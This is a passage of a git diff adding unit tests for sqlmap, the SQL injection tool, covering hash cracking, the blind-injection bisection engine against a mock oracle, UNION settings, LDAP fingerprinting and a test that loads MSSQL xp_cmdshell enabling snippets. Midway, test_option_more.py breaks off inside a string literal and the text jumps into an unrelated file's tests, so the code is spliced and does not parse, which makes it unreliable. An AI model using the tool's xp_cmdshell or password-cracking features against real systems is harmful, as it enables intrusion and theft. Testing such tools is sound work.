bare hash + self.assertTrue(key.startswith(DUMMY_USER_PREFIX), + msg="bare line was not assigned a dummy user: %r" % key) + self.assertEqual(value, [MD5_HASH]) + + +class TestAttackCachedUsersPasswords(_CrackBase): + def test_annotates_cleartext(self): + kb.data.cachedUsersPasswords = {"admin": [MD5_HASH]} + H.attackCachedUsersPasswords() + # the original value is augmented in place with the recovered clear-text + self.assertIn("clear-text password: %s" % PW, kb.data.cachedUsersPasswords["admin"][0]) + + def test_no_cached_data_is_noop(self): + kb.data.cachedUsersPasswords = {} + # must simply return without touching anything + self.assertIsNone(H.attackCachedUsersPasswords()) + + +class TestStoreHashesToFile(_CrackBase): + def _hash_tempfiles(self): + pattern = os.path.join(tempfile.gettempdir(), MKSTEMP_PREFIX.HASHES + "*") + return set(glob.glob(pattern)) + + def test_store_disabled_writes_nothing(self): + kb.choices.storeHashes = False + before = self._hash_tempfiles() + H.storeHashesToFile({"admin": [MD5_HASH]}) + self.assertEqual(self._hash_tempfiles(), before) + + def test_store_enabled_writes_recognised_hash(self): + kb.choices.storeHashes = True + before = self._hash_tempfiles() + try: + H.storeHashesToFile({"admin": [MD5_HASH]}) + new = self._hash_tempfiles() - before + self.assertEqual(len(new), 1) + with open(next(iter(new))) as fh: + written = fh.read() + self.assertIn(MD5_HASH, written) + self.assertIn("admin", written) + finally: + for path in self._hash_tempfiles() - before: + try: + os.remove(path) + except OSError: + pass + + def test_empty_attack_dict_is_noop(self): + kb.choices.storeHashes = True + before = self._hash_tempfiles() + H.storeHashesToFile({}) + self.assertEqual(self._hash_tempfiles(), before) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hashdb.py b/tests/test_hashdb.py index 597925c62..36bbd4dc9 100644 --- a/tests/test_hashdb.py +++ b/tests/test_hashdb.py @@ -109,10 +109,21 @@ class TestSerialized(_HashDBCase): def test_bytes_containing_value_survives(self): # REGRESSION (base64-pickle bytes fix): silently failed to restore on py3 before the fix. + # Must round-trip through SQLite, not the in-memory caches: write+flush here, then open a + # FRESH HashDB on the same file (empty read/write caches) so retrieve() hits the disk path. value = {"raw": b"\x00\x01\xff", "items": [b"ab", "s", 1]} self.db.write("bytesval", value, True) self.db.flush() - self.assertEqual(self.db.retrieve("bytesval", True), value) + + fresh = HashDB(self.path) + try: + # sanity: the value is genuinely not in the fresh in-memory caches + self.assertFalse(fresh._write_cache) + hash_ = HashDB.hashKey("bytesval") + self.assertIsNone(fresh._read_cache.get(hash_)) + self.assertEqual(fresh.retrieve("bytesval", True), value) + finally: + fresh.closeAll() class TestKeyHashing(_HashDBCase): diff --git a/tests/test_inference.py b/tests/test_inference.py new file mode 100644 index 000000000..adac33d58 --- /dev/null +++ b/tests/test_inference.py @@ -0,0 +1,293 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Edge cases / control-flow branches of the blind-SQLi inference engine +(lib/techniques/blind/inference.py) plus the pure UNION configuration helper +(lib/techniques/union/use.py configUnion). + +Complements tests/test_inference_engine.py (which covers the happy-path char-by-char +extraction). Here we drive the REAL bisection() / queryOutputLength() against a mock +oracle (Request.queryPage replaced by a parser of our own parseable payload template) +to exercise the branches the engine test does not reach: + + * trivial returns: payload is None, length == 0 + * --first-char / --last-char range limiting (both via the function args and via + conf.firstChar / conf.lastChar) + * --hex output decoding of the assembled value + * kb.data.processChar post-processing hook + * session resume from HashDB: a fully cached value, and a PARTIAL_VALUE_MARKER + partial value that bisection continues from (against a REAL temp SQLite HashDB) + * queryOutputLength() forging + DIGITS-charset length retrieval + +No network, no live target, no real DBMS - exactly like the sibling engine test. +""" + +import os +import re +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import decodeDbmsHexValue +from lib.core.common import getCurrentThreadData +from lib.core.common import hashDBWrite +from lib.core.enums import CHARSET_TYPE +from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import PARTIAL_VALUE_MARKER +from lib.request.connect import Connect +from lib.utils.hashdb import HashDB +import lib.techniques.blind.inference as inf +import lib.techniques.union.use as uu + +# bisection forges: safeStringFormat(payload, (expression, idx, posValue)); '>' is the +# greater-char marker (swapped to '=' on the final equality check). A parseable template +# lets the mock oracle recover (idx, operator, threshold) and answer against a known secret. +TEMPLATE = "EXPR=%s IDX=%d CMP>%d" +_PARSE = re.compile(r"IDX=(\d+) CMP(.)(\d+)") + +# conf/kb knobs bisection reads on the simple single-threaded, no-prediction path +_CONF = {"predictOutput": False, "threads": 1, "api": False, "verbose": 0, "hexConvert": False, + "charset": None, "firstChar": None, "lastChar": None, "timeSec": 5, "eta": False, + "repair": False, "flushSession": None, "freshQueries": None, "hashDB": None} +_KB = {"partRun": None, "safeCharEncode": False, "bruteMode": False, "fileReadMode": False, + "disableShiftTable": False, "originalTimeDelay": 5, "prependFlag": False, + "resumeValues": True, "inferenceMode": False} + + +class _InferenceCase(unittest.TestCase): + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_processChar = kb.data.get("processChar") + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + kb.data.processChar = None + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + kb.data.processChar = self._saved_processChar + Connect.queryPage = self._saved_qp + inf.Request.queryPage = self._saved_qp + + def _install_oracle(self, secret): + def oracle(payload=None, *args, **kwargs): + m = _PARSE.search(payload) + idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) + ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + return (ch > threshold) if op == ">" else (ch == threshold) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + + @staticmethod + def _reset_thread(): + td = getCurrentThreadData() + td.shared.value = "" + td.shared.index = [0] + td.shared.start = 0 + td.shared.count = 0 + + def _bisect(self, secret, expression="SELECT secret", length=None, **kwargs): + self._install_oracle(secret) + self._reset_thread() + if length is None: + length = len(secret) + return inf.bisection(TEMPLATE, expression, length=length, **kwargs) + + +class TestTrivialReturns(_InferenceCase): + def test_none_payload(self): + # payload is None -> (0, None) without ever touching the oracle + self.assertEqual(inf.bisection(None, "SELECT x"), (0, None)) + + def test_zero_length(self): + # length == 0 -> (0, "") short-circuit + self._install_oracle("ignored") + self._reset_thread() + self.assertEqual(inf.bisection(TEMPLATE, "SELECT x", length=0), (0, "")) + + +class TestRangeLimiting(_InferenceCase): + SECRET = "ABCDEFGH" + + def test_first_char_arg(self): + # firstChar=3 -> start from the 3rd character (1-based) -> drop "AB" + _, value = self._bisect(self.SECRET, firstChar=3) + self.assertEqual(value, "CDEFGH") + + def test_last_char_arg(self): + # lastChar=4 -> stop after the 4th character + _, value = self._bisect(self.SECRET, lastChar=4) + self.assertEqual(value, "ABCD") + + def test_conf_first_char(self): + conf.firstChar = 4 + _, value = self._bisect(self.SECRET) + self.assertEqual(value, "DEFGH") + + def test_conf_last_char(self): + conf.lastChar = 3 + _, value = self._bisect(self.SECRET) + self.assertEqual(value, "ABC") + + def test_first_and_last_window(self): + # combined window: chars 3..6 inclusive -> "CDEF" + _, value = self._bisect(self.SECRET, firstChar=3, lastChar=6) + self.assertEqual(value, "CDEF") + + +class TestHexConvert(_InferenceCase): + def test_hex_output_decoded(self): + # --hex: the retrieved value is a hex string the engine decodes on the way out + conf.hexConvert = True + hexed = "48656C6C6F" # "Hello" + _, value = self._bisect(hexed) + self.assertEqual(value, "Hello") + self.assertEqual(value, decodeDbmsHexValue(hexed)) + + +class TestProcessCharHook(_InferenceCase): + def test_process_char_applied_to_each_char(self): + # kb.data.processChar transforms every assembled character + kb.data.processChar = lambda c: c.upper() + _, value = self._bisect("abcde") + self.assertEqual(value, "ABCDE") + + +class TestResumeFromHashDB(_InferenceCase): + """bisection() consults the session store first (hashDBRetrieve(checkConf=True)). + Exercised against a REAL temporary SQLite HashDB (same approach as test_hashdb.py).""" + + def setUp(self): + _InferenceCase.setUp(self) + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) # HashDB creates it lazily + conf.hashDB = HashDB(self.path) + # hashDBRetrieve/Write key off these + self._saved_loc = (conf.get("hostname"), conf.get("path"), conf.get("port")) + conf.hostname = "test.invalid" + conf.path = "/" + conf.port = 80 + + def tearDown(self): + conf.hostname, conf.path, conf.port = self._saved_loc + try: + conf.hashDB.closeAll() + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + _InferenceCase.tearDown(self) + + def test_full_value_resumed(self): + # a complete cached value short-circuits the whole bisection (0 queries) + hashDBWrite("SELECT cached", "RESUMED") + conf.hashDB.flush() + count, value = self._bisect("ignored-secret", expression="SELECT cached", length=7) + self.assertEqual(value, "RESUMED") + self.assertEqual(count, 0) + + def test_partial_value_continued(self): + # a PARTIAL_VALUE_MARKER value is resumed-from: bisection keeps the prefix + # and extracts only the remaining characters + kb.inferenceMode = True # partial markers are honored only in inference mode + hashDBWrite("SELECT partial", "%sAB" % PARTIAL_VALUE_MARKER) + conf.hashDB.flush() + count, value = self._bisect("ABCDE", expression="SELECT partial", length=5) + self.assertEqual(value, "ABCDE") + self.assertGreater(count, 0) # it did real work for "CDE" + + +class TestQueryOutputLength(_InferenceCase): + def test_length_retrieved(self): + # queryOutputLength forges a LENGTH() expression and runs bisection with the + # DIGITS charset; the mock "secret" is the textual length itself + self._install_oracle("42") + self._reset_thread() + self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 42) + + def test_length_single_digit(self): + self._install_oracle("7") + self._reset_thread() + self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 7) + + def test_digits_charset_extracts_number(self): + # direct bisection with the DIGITS charset (queryOutputLength's inner call) + _, value = self._bisect("2026", charsetType=CHARSET_TYPE.DIGITS) + self.assertEqual(value, "2026") + + +class TestConfigUnion(unittest.TestCase): + """lib/techniques/union/use.py configUnion - pure parsing of --union-char / --union-cols.""" + + _CONF = {"uChar": None, "uCols": None, "uColsStart": 1, "uColsStop": 50} + + def setUp(self): + self._saved = {k: conf.get(k) for k in self._CONF} + self._saved_uchar = kb.get("uChar") + for k, v in self._CONF.items(): + conf[k] = v + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + kb.uChar = self._saved_uchar + + def test_char_and_range(self): + uu.configUnion(char="NULL", columns="2-6") + self.assertEqual(kb.uChar, "NULL") + self.assertEqual((conf.uColsStart, conf.uColsStop), (2, 6)) + + def test_single_column(self): + uu.configUnion(char="NULL", columns="4") + self.assertEqual((conf.uColsStart, conf.uColsStop), (4, 4)) + + def test_uchar_substitution_quoted(self): + # conf.uChar (non-digit) gets quoted and substituted into the [CHAR] template + conf.uChar = "test" + uu.configUnion(char="x[CHAR]x", columns="1") + self.assertEqual(kb.uChar, "x'test'x") + + def test_uchar_substitution_digit(self): + # a digit conf.uChar is substituted unquoted + conf.uChar = "88" + uu.configUnion(char="[CHAR]", columns="1") + self.assertEqual(kb.uChar, "88") + + def test_conf_ucols_overrides_columns_arg(self): + # conf.uCols takes precedence over the columns argument + conf.uCols = "3-9" + uu.configUnion(char="NULL", columns="1-2") + self.assertEqual((conf.uColsStart, conf.uColsStop), (3, 9)) + + def test_non_integer_range_raises(self): + self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="abc") + + def test_inverted_range_raises(self): + self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="9-2") + + def test_non_string_char_ignored(self): + # a non-string char leaves kb.uChar untouched (early return) + kb.uChar = "SENTINEL" + uu.configUnion(char=None, columns="1") + self.assertEqual(kb.uChar, "SENTINEL") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_ldap.py b/tests/test_ldap.py index b4bc24086..f590dcfb8 100644 --- a/tests/test_ldap.py +++ b/tests/test_ldap.py @@ -102,32 +102,56 @@ class TestHelpers(unittest.TestCase): class TestFingerprinting(unittest.TestCase): + # The mapping branches recognise a distinctive vendor substring *anywhere* inside + # a realistic error banner and normalise it to a canonical backend name. Feeding + # an embedded substring (not the bare canonical name) proves the source performs + # real substring discrimination rather than echoing its input. def test_fingerprintByError_ad(self): - self.assertEqual(ldap._fingerprintByError("Microsoft Active Directory"), - "Microsoft Active Directory") + self.assertEqual( + ldap._fingerprintByError("LDAP error from Microsoft Active Directory server"), + "Microsoft Active Directory") def test_fingerprintByError_openldap(self): - self.assertEqual(ldap._fingerprintByError("OpenLDAP"), "OpenLDAP") + self.assertEqual(ldap._fingerprintByError("OpenLDAP 2.4.57 SERVER_DOWN"), + "OpenLDAP") def test_fingerprintByError_apacheds(self): - self.assertEqual(ldap._fingerprintByError("ApacheDS"), "ApacheDS") + self.assertEqual(ldap._fingerprintByError("org.apache.directory.ApacheDS 2.0"), + "ApacheDS") def test_fingerprintByError_oracle(self): - self.assertEqual(ldap._fingerprintByError("Oracle Directory Server"), + self.assertEqual(ldap._fingerprintByError("Oracle Internet Directory / Oracle stack"), "Oracle Directory Server") def test_fingerprintByError_389(self): - self.assertEqual(ldap._fingerprintByError("389 Directory Server"), + self.assertEqual(ldap._fingerprintByError("Red Hat 389 ns-slapd"), "389 Directory Server") - def test_fingerprintByError_generic(self): - self.assertEqual(ldap._fingerprintByError("Generic LDAP"), "Generic LDAP") + def test_fingerprintByError_precedence_ad_over_oracle(self): + # A banner carrying two recognised substrings resolves to the earlier branch + # (Active Directory), proving the result is driven by branch order, not by an + # echo of whichever name happens to appear. + self.assertEqual( + ldap._fingerprintByError("Microsoft Active Directory bridged to Oracle"), + "Microsoft Active Directory") - def test_fingerprintByError_jndi(self): - self.assertEqual(ldap._fingerprintByError("Java JNDI"), "Java JNDI") + def test_fingerprintByError_none_and_empty(self): + # The only real branch reachable by non-mapping banners: the falsy guard. + self.assertIsNone(ldap._fingerprintByError(None)) + self.assertIsNone(ldap._fingerprintByError("")) - def test_fingerprintByError_pythonldap(self): - self.assertEqual(ldap._fingerprintByError("python-ldap"), "python-ldap") + def test_fingerprintByError_passthrough_when_unmatched(self): + # Banners that match no vendor branch (including the "python-ldap"/"Java JNDI" + # case, whose source branch is observationally identical to the catch-all) are + # returned verbatim. This single test documents that pass-through contract and, + # crucially, asserts such banners are NOT misclassified into a specific backend. + for banner in ("Generic LDAP", "python-ldap 3.4.0", "Caused by: Java JNDI", + "some unrecognised directory service"): + result = ldap._fingerprintByError(banner) + self.assertEqual(result, banner) + self.assertNotIn(result, ("Microsoft Active Directory", "OpenLDAP", + "ApacheDS", "Oracle Directory Server", + "389 Directory Server")) class TestGrid(unittest.TestCase): @@ -367,54 +391,41 @@ class TestCookiePlace(unittest.TestCase): class TestNestedFilterParsing(unittest.TestCase): + def setUp(self): + # Import the REAL vulnserver parser (same technique as + # tests/test_graphql.py :: TestVulnserverGraphqlParser). `extra` and + # `extra/vulnserver` are packages, so a plain import works. + from extra.vulnserver import vulnserver + self.vs = vulnserver + def test_nested_compound_parses_all_siblings(self): """Blockers 3: nested (&) inside (|) must parse all siblings.""" - # Inline copies of the vulnserver helpers so the test is self-contained - def _ldap_match(text, start): - depth = 0 - i = start - while i < len(text): - ch = text[i] - if ch == '(': - depth += 1 - elif ch == ')': - depth -= 1 - if depth == 0: - return i + 1 - elif ch == '\\': - i += 1 - i += 1 - return len(text) - - def _ldap_parse_value(text, start): - retVal = [] - i = start - while i < len(text) and text[i] not in (')',): - if text[i] == '\\' and i + 2 < len(text): - retVal.append(chr(int(text[i+1:i+3], 16))) - i += 3 - else: - retVal.append(text[i]) - i += 1 - return ''.join(retVal), i - - # Minimum reproduction of the fixed _ldap_filter_to_sql - # (the real function is in extra/vulnserver/vulnserver.py) - import sys, os - sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'extra', 'vulnserver')) - # Can't cleanly import vulnserver because of the __main__ guard. - # Instead we verify the fixed _ldap_match returns the correct end - # position for a nested compound filter, which was the root cause. f = '(|(&(uid=a)(cn=b))(mail=*))' - # The outer (| ... ) starts at 0 and should end at len(f) - outer_end = _ldap_match(f, 0) + + # The REAL _ldap_match must balance brackets across nested compounds. + # Outer (| ... ) starts at 0 and ends at len(f). + outer_end = self.vs._ldap_match(f, 0) self.assertEqual(outer_end, len(f)) - # The inner (& ... ) compound's opening '(' is at position 2 - # (f[2] == '('). _ldap_match must return the position after the - # matching ')' that closes the compound, i.e. right before (mail=*). - inner_end = _ldap_match(f, 2) + # Inner (& ... )'s opening '(' is at position 2; _ldap_match must + # return the position right before the (mail=*) sibling. + inner_end = self.vs._ldap_match(f, 2) self.assertEqual(f[inner_end:inner_end+8], '(mail=*)') + # The REAL filter->SQL conversion must surface EVERY sibling condition: + # both members of the nested (&) AND the (mail=*) sibling of the (|). + clause, params, end = self.vs._ldap_filter_to_sql(f) + self.assertEqual(end, len(f)) + self.assertIsNotNone(clause) + # nested-(&) siblings -> AND-joined, both columns present + self.assertIn(" AND ", clause) + self.assertIn("uid", clause) + self.assertIn("cn", clause) + # outer-(|) sibling must NOT be dropped + self.assertIn(" OR ", clause) + self.assertIn("mail", clause) + # the two equality values are parameterized in order + self.assertEqual(params, ["a", "b"]) + if __name__ == "__main__": unittest.main() diff --git a/tests/test_option_more.py b/tests/test_option_more.py new file mode 100644 index 000000000..3e49b83e0 --- /dev/null +++ b/tests/test_option_more.py @@ -0,0 +1,663 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Additional coverage for option setup / normalization helpers in +lib/core/option.py, targeting functions and branches NOT already exercised by +tests/test_option_setup.py: + + * _setTamperingFunctions (loads real tamper modules into kb.tamperFunctions) + * _setPreprocessFunctions (loads a preprocess(req) script into kb.preprocessFunctions) + * _setPostprocessFunctions (loads a postprocess(page, headers, code) script) + * _setSafeVisit (parses a safe request file into kb.safeReq) + * _cleanupOptions (additional normalization branches: delay cast, + csvDel/paramDel escape, col/binaryFields split, + torType upper, abortCode, getAll, dummy->batch) + * _basicOptionValidation (additional illegal option combinations / branches) + * _normalizeOptions (string + boolean option coercion) + * setVerbosity (eta clamp + high verbose) + +As in test_option_setup.py, option.py mutates the global conf/kb singletons +aggressively, so every test saves and restores the conf/kb fields it touches via +the _preserve() context manager so the shared state stays pristine for the rest +of the suite. +""" + +import contextlib +import logging +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf, kb, logger, paths +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapValueException +from lib.core.settings import MAX_CONNECT_RETRIES + +import lib.core.option as option + +_SENTINEL = object() + +# scratchpad for the preprocess/postprocess/safe-req fixture files +_SCRATCH = os.environ.get("CLAUDE_SCRATCH") or os.path.join(os.path.dirname(os.path.abspath(__file__)), "_option_more_tmp") + + +def tearDownModule(): + """Remove the scratch fixture directory so it never lingers on disk (and so a + stray __init__.py there can't shadow imports in a subsequent run).""" + import shutil + if os.path.isdir(_SCRATCH): + shutil.rmtree(_SCRATCH, ignore_errors=True) + + +@contextlib.contextmanager +def _preserve(target, *keys): + """Save the given keys of an AttribDict (conf/kb), then restore on exit. + + Missing keys are restored to absent so a test can't leak a brand-new field. + """ + saved = {} + for key in keys: + saved[key] = target[key] if key in target else _SENTINEL + try: + yield + finally: + for key in keys: + if saved[key] is _SENTINEL: + try: + del target[key] + except KeyError: + pass + else: + target[key] = saved[key] + + +class _ImportSandboxMixin(object): + """Loaders in option.py (tamper/preprocess/postprocess) permanently + `sys.path.insert(0, " + forms = findPageForms(html, "http://www.site.com") + self.assertTrue(any(m == HTTPMETHOD.POST and u.endswith("/api/save") for (u, m, d, c, e) in forms)) + + def test_blank_content_returns_empty_set(self): + self.assertEqual(findPageForms("", "http://www.site.com"), set()) + + +class TestSaveConfig(unittest.TestCase): + def test_writes_ini_with_sections(self): + path = _write_temp("", ".ini") + try: + saveConfig(conf, path) + with open(path) as f: + data = f.read() + finally: + os.unlink(path) + + # optDict families become [Section] headers + self.assertIn("[Target]", data) + self.assertIn("[Request]", data) + self.assertIn("[Enumeration]", data) + self.assertTrue(len(data) > 0) + + +class TestGetSQLSnippet(unittest.TestCase): + def test_mssql_proc_loaded(self): + snippet = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") + self.assertIn("RECONFIGURE", snippet) + + def test_variable_substitution(self): + # %VAR% placeholders are substituted from kwargs (here %ENABLE%); + # supplying it avoids the interactive "provide substitution values" prompt. + snippet = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE="1") + self.assertIn("xp_cmdshell", snippet) + self.assertIn("RECONFIGURE", snippet) + # comments (#...) are stripped and the placeholder is fully resolved + self.assertNotIn("#", snippet) + self.assertNotIn("%ENABLE%", snippet) + + +class TestCheckSystemEncoding(unittest.TestCase): + def test_noop_on_normal_encoding(self): + # On a normal default encoding this is a no-op and must not raise. + self.assertIsNone(checkSystemEncoding()) + + +class TestFormatGetOs(unittest.TestCase): + def setUp(self): + self._api = conf.api + conf.api = False + + def tearDown(self): + conf.api = self._api + + def test_humanizes_type_and_technology(self): + info = { + "type": set(["Linux"]), + "distrib": set(["Ubuntu"]), + "release": set(["8.10"]), + "technology": set(["PHP 5.2.6", "Apache 2.2.9"]), + } + out = Format.getOs("back-end DBMS", info) + self.assertTrue(out.startswith("back-end DBMS operating system: Linux")) + self.assertIn("Ubuntu", out) + self.assertIn("8.10", out) + self.assertIn("web application technology:", out) + + def test_api_mode_returns_dict(self): + orig = conf.api + try: + conf.api = True + info = {"type": set(["Windows"]), "technology": set(["IIS"])} + out = Format.getOs("back-end DBMS", info) + self.assertIsInstance(out, dict) + self.assertIn("web application technology", out) + finally: + conf.api = orig + + +class TestBackendSetters(unittest.TestCase): + """Backend OS/version setters write kb state; save and restore it.""" + + _KEYS = ("os", "osVersion", "osSP", "dbmsVersion") + + def setUp(self): + self._saved = {k: kb.get(k) for k in self._KEYS} + + def tearDown(self): + for k, v in self._saved.items(): + kb[k] = v + + def test_set_get_os(self): + kb.os = None + self.assertEqual(Backend.setOs("windows"), "Windows") # capitalized + self.assertEqual(Backend.getOs(), "Windows") + + def test_set_os_none_returns_none(self): + self.assertIsNone(Backend.setOs(None)) + + def test_set_os_version(self): + kb.osVersion = None + Backend.setOsVersion("2008") + self.assertEqual(Backend.getOsVersion(), "2008") + + def test_set_os_service_pack(self): + kb.osSP = None + Backend.setOsServicePack(3) + self.assertEqual(Backend.getOsServicePack(), 3) + + def test_set_get_version(self): + kb.dbmsVersion = [] + self.assertEqual(Backend.setVersion("5.7"), ["5.7"]) + self.assertEqual(Backend.getVersion(), "5.7") + + def test_set_version_list(self): + kb.dbmsVersion = [] + Backend.setVersionList(["8.0", "8.1"]) + self.assertEqual(Backend.getVersionList(), ["8.0", "8.1"]) + + +class TestUrlencodeExtraBranches(unittest.TestCase): + def test_like_percent_encoded(self): + # '%' inside a LIKE '...' literal is encoded to %25 + self.assertEqual(urlencode("AND name LIKE '%DBA%'"), + "AND%20name%20LIKE%20%27%25DBA%25%27") + + def test_convall_drops_safe_set(self): + self.assertEqual(urlencode("a&b", convall=True), "a%26b") + + def test_limit_does_not_crash_on_long_input(self): + out = urlencode("x " * 4000, limit=True) + self.assertTrue(len(out) > 0) + + def test_direct_mode_returns_value_unchanged(self): + orig = conf.direct + try: + conf.direct = "mysql://u:p@h:3306/d" + self.assertEqual(urlencode("a b"), "a b") + finally: + conf.direct = orig + + +class TestSafeStringFormatExtraBranches(unittest.TestCase): + def test_percent_d_in_payload_region_becomes_string(self): + fmt = "SELECT %s" + PAYLOAD_DELIMITER + " AND %d " + PAYLOAD_DELIMITER + self.assertEqual( + safeStringFormat(fmt, ("a", "5")), + "SELECT a" + PAYLOAD_DELIMITER + " AND 5 " + PAYLOAD_DELIMITER) + + def test_scalar_string_percent_preserved(self): + # single-string param path: plain replace, embedded '%' survives + self.assertEqual(safeStringFormat("LIKE %s", "100%done"), "LIKE 100%done") + + def test_two_params_list(self): + self.assertEqual(safeStringFormat("%s/%s", ("a", "b")), "a/b") + + +# =========================================================================== # +# from tests/test_core_more.py (common.py classes) +# =========================================================================== # + +class TestSmallPredicates(unittest.TestCase): + def test_is_none_value(self): + self.assertTrue(isNoneValue(None)) + self.assertTrue(isNoneValue("None")) + self.assertTrue(isNoneValue("")) + self.assertTrue(isNoneValue([])) + self.assertTrue(isNoneValue(["None", ""])) + self.assertTrue(isNoneValue({})) + self.assertFalse(isNoneValue([2])) + self.assertFalse(isNoneValue("x")) + + def test_is_null_value(self): + self.assertTrue(isNullValue(u"NULL")) + self.assertTrue(isNullValue(u"null")) + self.assertFalse(isNullValue(u"foobar")) + self.assertFalse(isNullValue(5)) + + def test_is_num_pos_str_value(self): + self.assertTrue(isNumPosStrValue(1)) + self.assertTrue(isNumPosStrValue("1")) + self.assertFalse(isNumPosStrValue(0)) + self.assertFalse(isNumPosStrValue("-2")) + self.assertFalse(isNumPosStrValue("100000000000000000000")) + self.assertFalse(isNumPosStrValue("abc")) + + def test_is_number(self): + self.assertTrue(isNumber(1)) + self.assertTrue(isNumber("0")) + self.assertTrue(isNumber("3.14")) + self.assertFalse(isNumber("foobar")) + self.assertFalse(isNumber(None)) + + def test_is_list_like(self): + self.assertTrue(isListLike([1])) + self.assertTrue(isListLike((1,))) + self.assertTrue(isListLike(set([1]))) + self.assertFalse(isListLike("x")) + self.assertFalse(isListLike(5)) + + +class TestValueShaping(unittest.TestCase): + def test_filter_pair_values(self): + self.assertEqual(filterPairValues([[1, 2], [3], 1, [4, 5]]), [[1, 2], [4, 5]]) + self.assertEqual(filterPairValues(None), []) + + def test_filter_list_value(self): + self.assertEqual(filterListValue(["users", "admins", "logs"], r"(users|admins)"), + ["users", "admins"]) + # non-list input returned unchanged + self.assertEqual(filterListValue("notlist", r"x"), "notlist") + # no regex returns input + self.assertEqual(filterListValue(["a"], None), ["a"]) + + def test_filter_none(self): + self.assertEqual(filterNone([1, 2, "", None, 3, 0]), [1, 2, 3, 0]) + + def test_filter_string_value(self): + self.assertEqual(filterStringValue("wzydeadbeef0123#", r"[0-9a-f]"), "deadbeef0123") + + def test_un_arrayize_value(self): + self.assertEqual(unArrayizeValue(["1"]), "1") + self.assertEqual(unArrayizeValue("1"), "1") + self.assertEqual(unArrayizeValue(["1", "2"]), "1") + self.assertEqual(unArrayizeValue([["a", "b"], "c"]), "a") + self.assertIsNone(unArrayizeValue([])) + + def test_flatten_value(self): + self.assertEqual(list(flattenValue([["1"], [["2"], "3"]])), ["1", "2", "3"]) + + def test_arrayize_value(self): + self.assertEqual(arrayizeValue("1"), ["1"]) + self.assertEqual(arrayizeValue(["1"]), ["1"]) + + def test_join_value(self): + self.assertEqual(joinValue(["1", "2"]), "1,2") + self.assertEqual(joinValue("1"), "1") + self.assertEqual(joinValue(["1", None]), "1,None") + + +class TestZeroDepthAndSplit(unittest.TestCase): + def test_zero_depth_search_skips_parens(self): + expr = "SELECT (SELECT id FROM users WHERE 2>1) AS r FROM DUAL" + idx = zeroDepthSearch(expr, " FROM ") + # only the outer top-level FROM is found, not the one inside the subselect + self.assertEqual(len(idx), 1) + self.assertTrue(expr[idx[0]:].startswith(" FROM DUAL")) + + def test_zero_depth_search_ignores_quoted(self): + expr = "a , 'b , c' , d" + # commas inside the quoted literal are not reported + self.assertEqual(len(zeroDepthSearch(expr, ",")), 2) + + def test_split_fields_basic(self): + self.assertEqual(splitFields("foo, bar, max(foo, bar)"), + ["foo", "bar", "max(foo,bar)"]) + + def test_split_fields_quoted(self): + self.assertEqual(splitFields("a, 'b, c', d"), ["a", "'b, c'", "d"]) + + def test_split_fields_custom_delimiter(self): + self.assertEqual(splitFields("a; b; max(c; d)", delimiter=";"), + ["a", "b", "max(c;d)"]) + + +class TestAliasToDbmsEnum(unittest.TestCase): + def test_known_aliases(self): + self.assertEqual(aliasToDbmsEnum("mssql"), DBMS.MSSQL) + self.assertEqual(aliasToDbmsEnum("mysql"), DBMS.MYSQL) + self.assertEqual(aliasToDbmsEnum("postgres"), DBMS.PGSQL) + + def test_unknown_alias_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("definitely_not_a_dbms")) + + def test_empty_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("")) + + +class TestGetPageWordSet(unittest.TestCase): + def test_word_extraction(self): + words = getPageWordSet(u"foobartest") + self.assertEqual(sorted(words), [u"foobar", u"test"]) + + def test_non_string_returns_empty(self): + self.assertEqual(getPageWordSet(None), set()) + + +class TestNormalizeUnicode(unittest.TestCase): + def test_accents_stripped(self): + # normalizeUnicode collapses accented chars to their ASCII base + self.assertEqual(normalizeUnicode(u"éè"), "ee") + + def test_plain_ascii_unchanged(self): + self.assertEqual(normalizeUnicode(u"abc123"), "abc123") + + def test_none_returns_none(self): + self.assertIsNone(normalizeUnicode(None)) + + +class TestResetCookieJar(unittest.TestCase): + """resetCookieJar's clear branch (conf.loadCookies falsy).""" + + def setUp(self): + self._loadCookies = conf.loadCookies + conf.loadCookies = None + + def tearDown(self): + conf.loadCookies = self._loadCookies + + def test_clear_branch(self): + try: + from http.cookiejar import CookieJar + except ImportError: # Python 2 + from cookielib import CookieJar + + jar = CookieJar() + cleared = {"called": False} + + class _Jar(object): + def clear(self): + cleared["called"] = True + + resetCookieJar(_Jar()) + 